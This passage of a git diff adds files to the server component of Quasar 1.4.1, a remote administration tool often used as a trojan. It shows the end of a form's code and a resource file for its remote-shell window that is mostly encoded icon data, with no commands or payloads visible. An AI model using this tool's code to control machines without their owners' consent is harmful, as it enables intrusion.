txtConsoleInput.ScrollToCaret(); + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + 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 + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/MyMc/4R0bf/XxsD/zr63/5eHgf9XR0L/OSoj/0Q1MP9cTEb/cmFa/3xu + aP/DvLn///////7+/v///////v7+////////////7ufk/9TFvv/Xx8D/jX12/ygYEf+BcWr/2cnC/829 + t//aysP/no6H/zkpIv8zIxz/Nycg/zgoIf84KCH/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/NSUe/zwsJf+Whn//3s7H/93Nxv/Lu7T/qZmS/4x8 + df9yYlz/X09I/08+N/9zY1v/9PLw///+/v///v7///7+//7+/v/49fT/zb22/9PDu//Nvbb/QzMt/zYm + IP+tnZb/2cnC/9vLxP+8rKX/RjYv/zIiG/84KCH/OCgh/zgoIf84KCH/OSki/zMjHP8+LifjbV1XZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zQkHf8uHhf/cWFa/7Gh + mv/Nvbb/3c3G/97Ox//dzcb/3MzF/9jIwf/OvbX/6uHc//7+/v///v7///7+///+/f/r4dz/z722/62d + lv9NPTb/PS4r/6aWj//czMX/uKih/3trZP84KCH/MiIb/zgoIf84KCH/OSki/zkpIv85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zgo + If81JR7/Lh4X/0AwKf9kVE3/kIB5/6+fmP/Bsar/z7+4/9TEvf/RwLn/5NfR//37+v///////v7+//f1 + 9P++r6n/cF9Z/0c3MP9SQjv/nY2G/6eXkP95aWL/RjYv/y8fGP8yIhv/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv85KSL/OCgh/zgoIf84KCH/Nycg/zQkHf8yIhv/OCgh/z8vKP9PPzj/YlJL/3NjXf99bWX/koN8/+jk + 4v/////////+/9LNyv9IODX/MiEb/009Nv9dTUb/Tj43/zwsJf8zIxz/MiIb/zYmH/80JB3/NCQd/zco + IP84KCH/OSki/zkpIf85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgoIf85KSL/OCgh/zcnIP82Jh//MyMc/zAg + Gf8wIBj/KhoY/7Copf/8+/v/+vn5/6GXk/8uHRX/OSoj/zQkHf81JR7/NiYf/zcnIP84KCH/OCgh/zEh + G/9WRj//VUU+/zEhGv84KCH/OSki/zkpIv85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zMjHP8xIBn/Oioj/zkp + Iv84KCH/OCgh/zgnIP85KSL/LBsU/5GHgv/39vb/9PLx/4N3cv8tHBX/OCgh/zcnIP84KCH/OCgh/zkp + Iv85KSL/NSUe/ycWEP+hl5P/oJWS/ygXEv82Jh//OSki/zkpIv85KSL/OSki/zMjHP8+LifjbV1WZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/0o6 + M/9TQz3/NSUe/zgoIf84KCH/OCgh/zgoIf84KCH/Lx4X/3NmYP/v7ez/6Obl/2FTTv8xIRr/OCgh/zgo + If84KCH/OSki/zkpIf85KSL/Lx8X/1xMSP/g3Nv/4Nzb/1pLR/8vHxn/Oioj/zkpIf85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQjt/Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/MyUg/5iPjP/Bubb/Jxwa/zYlH/84KCH/OSki/zkpIv84KCH/MSEa/1JCPP/g3Nr/2NPR/0o5 + M/80Ixz/OSki/zkpIv85KSH/OSki/zkpIv8xIRr/VkU//9jU0f/+/v7//v7+/9fSz/9WR0D/MSEa/zkp + Iv85KSH/OSki/zMjHP8+LifjbV1WZ////wH///8B////Af///wFSQjuBOysk8zUlHf84KCH/OSki/zkp + Iv85KSL/OSki/zYmH/84KCD/raOe/+Dc2f/s6ej/rKOg/1JDPf8yIhv/OCki/zgpIf85KSL/MyMc/0Q0 + LP/Tz83/ysTC/zoqI/80JB3/OCgh/zkpIv85KSL/MiIb/zUlHf82Jh//PCsl/5GGgv/w7u3/8O7t/5CF + gv88LCX/Nycg/zkpIv85KSL/OSki/zMjHP89LSblbFxVaf///wH///8B////Af///wFgUElbPCwl3TMj + HP84KCH/OSki/zgoIf84KCH/OSki/zcnIP84KCH/fG9p/8O7uP/b2NX/d2tm/0c4Mf81JB3/OSgi/zkp + Iv85KSL/NCQd/zcmH//HwsD/u7Ov/zMhGv82Jh//OSki/zkpIv8zIhv/Rzcv/z4uJv80Ixz/NCQd/zQj + Hf/AuLX/wLm1/zQjHf8zJB3/OSki/zkpIf85KSH/OCgh/zEhGv8/LyjTeGhhTf///wH///8B////Af// + 